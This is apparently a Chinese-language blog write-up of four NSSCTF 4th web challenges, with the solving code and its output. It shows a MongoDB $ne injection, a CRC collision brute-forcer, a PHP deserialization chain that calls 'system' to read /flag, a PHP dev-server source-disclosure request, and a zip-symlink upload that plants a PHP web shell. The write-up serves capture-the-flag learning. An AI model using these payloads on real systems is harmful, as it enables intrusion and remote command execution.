有好一段时间没参与国内的 CTF 比赛了。

ez_signin

Flask + MongoDB，阅读代码发现在 POST 并且 title / author 为 dict 的情况下，用户输入会直接加入到 MongoDB 的查询中。直接 $ne 一下把所有文档都查了：

1
2
3
4
5
6
7
8
9
fetch("/search", {
  "headers": {
    "content-type": "application/json"
  },
  "body": JSON.stringify({
      "title": { $ne: "Ciallo~!" },
  }),
  "method": "POST"
});

得到如下结果，蕴含 Flag：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[
  {
    "author": "admin",
    "description": "NSSCTF{a8f5b8cc-4736-421e-878f-60a5acfbe8c6}",
    "title": "unknown"
  },
  {
    "author": "John Smith",
    "description": "A comprehensive guide to Python programming.",
    "title": "Python Programming"
  },
  {
    "author": "Alice Johnson",
    "description": "Learn about web application security.",
    "title": "Web Security"
  }
]

EzCRC

阅读代码，我们需要一个长度 15 的字符串，其 CRC8 和 CRC16 均需要与 Enj0yNSSCTF4th! 的相同。鉴于 CRC8 和 CRC16 一起也就 256^3 的情况，直接暴力一手。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from string import ascii_letters, digits
from itertools import product
from tqdm import tqdm
import re
import requests

def crc16(data: bytes) -> int:
    checksum = 0xFFFF
    for b in data:
        checksum ^= b
        for _ in range(8):
            if checksum & 1:
                checksum = (checksum >> 1) ^ 0xA001
            else:
                checksum >>= 1
    return checksum & 0xFFFF

CRC8_TABLE = [
    0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15, 0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
    0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65, 0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
    0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5, 0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
    0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85, 0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
    0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2, 0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
    0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2, 0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
    0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32, 0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
    0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42, 0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
    0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C, 0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
    0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC, 0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
    0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C, 0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
    0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C, 0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
    0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B, 0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
    0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B, 0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
    0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB, 0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
    0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB, 0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
]

def crc8(data: bytes) -> int:
    crc = 0
    for b in data:
        crc = CRC8_TABLE[(crc ^ b) & 0xff]
    return crc & 0xff

target = b"Enj0yNSSCTF4th!"
target_crc8 = crc8(target)
target_crc16 = crc16(target)

prefix = b"Ciallo~!!!"
length = 15 - len(prefix)
charset = (ascii_letters + digits).encode()
for extra in tqdm(
    product(charset, repeat=length),
    total=len(charset)**length,
    leave=False
):
    candidate = prefix + bytes(extra)
    if crc8(candidate) == target_crc8 and crc16(candidate) == target_crc16:
        break
else:
    raise ValueError("No collision found")

print("Found collision:", candidate.decode())

TARGET = "http://node8.anna.nssctf.cn:29932/"
response = requests.post(TARGET, data={"pass": candidate.decode()})
flag = re.search(r"NSSCTF\{.*?\}", response.text).group(0)

print("Flag:", flag)
1
2
3
$ python crack.py
Found collision: Ciallo~!!!a1Zda
Flag: NSSCTF{70f5d42d-b561-4684-af9a-80dfccf1aa22}

[mpga]filesystem

访问靶机，下载 www.zip 即刻进行代码审计，是找反序列化链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class ContentProcessor
{
    private $processedContent;
    public $callbackFunction;
    public function __construct($functionInvoker, $callbackFunction)
    {
        $this->processedContent = $functionInvoker;
        $this->callbackFunction = $callbackFunction;
    }
}

class FileManager
{
    public $targetFile;
    public function __construct($targetFile)
    {
        $this->targetFile = $targetFile;
    }
}

class FunctionInvoker {}

$object = new FileManager(
    new FileManager(
        new ContentProcessor(
            new FunctionInvoker(),
            'system'
        )
    )
);

print(serialize($object));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

TARGET = "http://node8.anna.nssctf.cn:24985/"

with open('poc.txt', 'rb') as f:
    poc = f.read()

data = {
    "submit_md5": "1",
    "file_to_check": poc,
    "method": "performWriteOperation",
    "var": "processedContent",
    "cmd": "cat /flag"
}

response = requests.post(TARGET, data=data)
print("Flag:", response.text.splitlines()[0])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ php poc.php > poc.txt && cat poc.txt | xxd && python poc.py
00000000: 4f3a 3131 3a22 4669 6c65 4d61 6e61 6765  O:11:"FileManage
00000010: 7222 3a31 3a7b 733a 3130 3a22 7461 7267  r":1:{s:10:"targ
00000020: 6574 4669 6c65 223b 4f3a 3131 3a22 4669  etFile";O:11:"Fi
00000030: 6c65 4d61 6e61 6765 7222 3a31 3a7b 733a  leManager":1:{s:
00000040: 3130 3a22 7461 7267 6574 4669 6c65 223b  10:"targetFile";
00000050: 4f3a 3136 3a22 436f 6e74 656e 7450 726f  O:16:"ContentPro
00000060: 6365 7373 6f72 223a 323a 7b73 3a33 343a  cessor":2:{s:34:
00000070: 2200 436f 6e74 656e 7450 726f 6365 7373  ".ContentProcess
00000080: 6f72 0070 726f 6365 7373 6564 436f 6e74  or.processedCont
00000090: 656e 7422 3b4f 3a31 353a 2246 756e 6374  ent";O:15:"Funct
000000a0: 696f 6e49 6e76 6f6b 6572 223a 303a 7b7d  ionInvoker":0:{}
000000b0: 733a 3136 3a22 6361 6c6c 6261 636b 4675  s:16:"callbackFu
000000c0: 6e63 7469 6f6e 223b 733a 363a 2273 7973  nction";s:6:"sys
000000d0: 7465 6d22 3b7d 7d7d                      tem";}}}
Flag: NSSCTF{11737055-c77d-46f3-b0e4-a74ee8a9d004}

ez_upload

黑盒无从下手。提示 php -S，考虑先泄露源代码，参考：

PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import socket

payload = """GET /index.php HTTP/1.1
Host: node9.anna.nssctf.cn:27893


GET /ciallo.ciallo HTTP/1.1

"""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('node8.anna.nssctf.cn', 25988))
s.sendall(payload.encode())

while True:
    data = s.recv(1024)
    if not data:
        break
    print(data.decode())

得到白盒：

1
2
3
4
5
6
7
8
<?php
error_reporting(0);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
?>

CISCN 2023 原题：unzip。拿 Zip 软连接打：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
import zipfile
import requests

TARGET = "http://node8.anna.nssctf.cn:25988"
shell_code = "<?php system($_GET['cmd']);?>"

os.symlink("/var/www/html", "poc")
os.system("zip --symlinks -r test.zip poc")
requests.post(TARGET, files={"file": open("test.zip", "rb")})

with zipfile.ZipFile("test.zip", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("poc/shell.php", shell_code)
requests.post(TARGET, files={"file": open("test.zip", "rb")})
os.remove("test.zip")

response = requests.get(TARGET + "/shell.php?cmd=cat /flag")
print(response.text)
1
2
3
$ python poc.py
  adding: poc (stored 0%)
NSSCTF{y0u_ar3_50ft_l1nk_m4st3r!!!!}

This article is authored by luoingly and is licensed under CC BY-NC 4.0

Permalink: https://luoingly.top/post/nssctf-4th-writeup/